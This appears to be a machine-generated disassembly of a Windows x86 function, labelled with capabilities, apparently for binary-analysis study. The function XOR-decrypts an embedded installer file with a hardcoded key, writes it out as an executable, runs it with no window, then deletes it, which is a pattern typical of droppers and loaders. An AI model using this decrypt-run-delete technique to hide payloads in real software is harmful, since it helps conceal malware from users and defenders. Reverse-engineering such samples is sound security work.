Function at 0x401220
Capabilities:
Create process on windows
Delete file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x244
mov eax, dword [0x406040]
xor eax, esp
mov dword [esp + 0x240], eax
push ebx
push esi
push edi
push str.AvcInstallerData.enc
lea ecx, [esp + 0x1ec]
call fcn.00402590
push str.AvcInstallerTmp.exe
lea ecx, [esp + 0x1b4]
call fcn.00402590
push str.AvcProKey2024
lea ecx, [esp + 0x1d4]
call fcn.00402590
push 0xb4
lea eax, [esp + 0xe8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0xe0], 0x40439c
cmp dword [esp + 0x1fc], 0xf
lea esi, [esp + 0x1e8]
lea ecx, [esp + 0x150]
cmova esi, dword [esp + 0x1e8]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [esp + 0xf8]
push eax
lea ecx, [esp + 0xec]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [esp + 0xe0]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0xe0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0xe0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [esp + ecx + 0xdc], eax
lea ecx, [esp + 0xf0]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [esp + 0xf0]
mov dword [esp + 0xf0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esp + 0x138], 0
mov byte [esp + 0x12d], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov ecx, dword [0x406684]
mov eax, dword [0x406680]
push ecx
push 0x21
mov dword [esp + 0x13c], ecx
lea ecx, [esp + 0xf8]
push esi
mov dword [esp + 0x148], 0
mov dword [esp + 0x13c], eax
mov dword [esp + 0x134], 0
call fcn.00402900
test eax, eax
jne 0x40138a
push eax
mov eax, dword [esp + 0xe4]
lea ecx, [esp + 0xe4]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov eax, dword [esp + 0xe0]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0xe0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0xe0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [esp + ecx + 0xdc], eax
lea ecx, [esp + 0xe0]
mov eax, dword [esp + 0xe0]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
mov ebx, dword [esp + 0x1d0]
test al, al
je 0x4013f3
push 0x10
push str.Error
push str.Failed_to_open_encrypted_file.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, 1
jmp 0x401860
mov eax, dword [esp + 0xe0]
mov word [esp + 0x19c], 1
mov byte [esp + 0x1d], 0
mov esi, dword [eax + 4]
mov esi, dword [esp + esi + 0x118]
test esi, esi
sete cl
xor eax, eax
mov dword [esp + 0x10], eax
xor edi, edi
mov dword [esp + 0x1a4], eax
xor ebx, ebx
mov dword [esp + 0x14], eax
mov dword [esp + 0x1ac], eax
mov eax, dword [esp + 0x19c]
mov byte [esp + 0x1c], cl
mov dword [esp + 0x1cc], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x1a8], edi
mov dword [esp + 0x19c], eax
test cl, cl
je 0x40147f
mov al, byte [esp + 0x19d]
mov cl, byte [esp + 0x1cc]
mov byte [esp + 0xd], al
mov al, byte [esp + 0x19c]
mov byte [esp + 0xf], cl
mov byte [esp + 0xe], al
jmp 0x4014b7
mov al, byte [esp + 0x1cc]
mov byte [esp + 0xf], al
mov al, byte [esp + 0x19d]
mov byte [esp + 0xd], al
test esi, esi
je 0x4014ac
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
je 0x4014ac
mov byte [esp + 0xd], al
jmp 0x4014ae
xor esi, esi
mov cl, byte [esp + 0xf]
mov byte [esp + 0xe], 1
test cl, cl
jne 0x4014d3
test ebx, ebx
je 0x4014cc
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
jne 0x4014ce
xor ebx, ebx
mov byte [esp + 0xf], 1
test esi, esi
jne 0x401689
test ebx, ebx
jne 0x401691
lea ecx, [esp + 0xf0]
call fcn.00402870
test eax, eax
jne 0x40150d
push eax
mov eax, dword [esp + 0xe4]
lea ecx, [esp + 0xe4]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov ebx, dword [esp + 0x10]
xor esi, esi
sub edi, ebx
je 0x40154e
mov ebx, dword [esp + 0x1e0]
nop
cmp dword [esp + 0x1e4], 0xf
lea ecx, [esp + 0x1d0]
mov eax, esi
cmova ecx, dword [esp + 0x1d0]
xor edx, edx
div ebx
mov al, byte [edx + ecx]
mov ecx, dword [esp + 0x10]
xor byte [ecx + esi], al
inc esi
cmp esi, edi
jb 0x401520
mov ebx, ecx
push 0xac
lea eax, [esp + 0x38]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x30], 0x404394
cmp dword [esp + 0x1c4], 0xf
lea esi, [esp + 0x1b0]
lea ecx, [esp + 0x98]
cmova esi, dword [esp + 0x1b0]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x3c]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [esp + 0x30]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x30], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0x2c], eax
lea ecx, [esp + 0x34]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [esp + 0x34]
mov dword [esp + 0x34], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esp + 0x7c], 0
mov byte [esp + 0x71], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov ecx, dword [0x406684]
mov eax, dword [0x406680]
push ecx
push 0x22
mov dword [esp + 0x80], ecx
lea ecx, [esp + 0x3c]
push esi
mov dword [esp + 0x8c], 0
mov dword [esp + 0x80], eax
mov dword [esp + 0x78], 0
call fcn.00402900
test eax, eax
jne 0x401635
push eax
mov eax, dword [esp + 0x34]
lea ecx, [esp + 0x34]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov eax, dword [esp + 0x30]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x30], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0x2c], eax
lea ecx, [esp + 0x30]
mov eax, dword [esp + 0x30]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
test al, al
je 0x401720
push 0x10
push str.Error
push str.Failed_to_open_decrypted_file_for_writing.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, 1
jmp 0x40181e
test ebx, ebx
jne 0x4014e3
cmp byte [esp + 0xe], 0
jne 0x4016b1
test esi, esi
je 0x4016af
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
je 0x4016af
mov byte [esp + 0xd], al
jmp 0x4016b5
xor esi, esi
mov al, byte [esp + 0xd]
mov byte [esp + 0xe], al
cmp edi, dword [esp + 0x14]
je 0x4016cb
mov byte [edi], al
inc edi
mov dword [esp + 0x1a8], edi
jmp 0x4016fa
lea eax, [esp + 0xe]
push eax
push edi
lea ecx, [esp + 0x1ac]
call fcn.00402c90
mov eax, dword [esp + 0x1ac]
mov edi, dword [esp + 0x1a8]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x1a4]
mov dword [esp + 0x10], eax
test esi, esi
je 0x4014ac
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void_]
cmp eax, 0xffffffff
je 0x4014ac
mov byte [esp + 0x19c], 0
jmp 0x401495
push 0
push edi
push ebx
lea ecx, [esp + 0x3c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [esp + 0x34]
call fcn.00402870
test eax, eax
jne 0x40174f
push eax
mov eax, dword [esp + 0x34]
lea ecx, [esp + 0x34]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push 0x40
lea eax, [esp + 0x208]
mov dword [esp + 0x204], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x22c], 1
lea ecx, [esp + 0x20]
xor eax, eax
cmp dword [esp + 0x1c4], 0xf
mov word [esp + 0x230], ax
lea eax, [esp + 0x1b0]
cmova eax, dword [esp + 0x1b0]
push ecx
lea ecx, [esp + 0x204]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4017dd
push 0x10
push str.Error
push str.Failed_to_execute_decrypted_file.
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, 1
jmp 0x40181e
push 0xffffffffffffffff
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x24]
call esi
cmp dword [esp + 0x1c4], 0xf
lea eax, [esp + 0x1b0]
cmova eax, dword [esp + 0x1b0]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
xor esi, esi
lea ecx, [esp + 0x30]
call fcn.00401a10
test ebx, ebx
je 0x401859
mov ecx, dword [esp + 0x14]
mov eax, ebx
sub ecx, ebx
cmp ecx, 0x1000
jb 0x40184f
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401927
push ecx
push ebx
call fcn.00402ec4
add esp, 8
mov ebx, dword [esp + 0x1d0]
lea ecx, [esp + 0xe0]
call fcn.00401950
mov eax, dword [esp + 0x1e4]
cmp eax, 0xf
jbe 0x4018a3
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x401899
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401927
push ecx
push ebx
call fcn.00402ec4
add esp, 8
mov ecx, dword [esp + 0x1c4]
cmp ecx, 0xf
jbe 0x4018db
mov edx, dword [esp + 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4018d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401927
push ecx
push edx
call fcn.00402ec4
add esp, 8
mov ecx, dword [esp + 0x1fc]
mov dword [esp + 0x1c0], 0
mov dword [esp + 0x1c4], 0xf
mov byte [esp + 0x1b0], 0
cmp ecx, 0xf
jbe 0x401937
mov edx, dword [esp + 0x1e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40192d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40192d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402ec4
add esp, 8
mov ecx, dword [esp + 0x24c]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402e86
mov esp, ebp
pop ebp
ret 0x10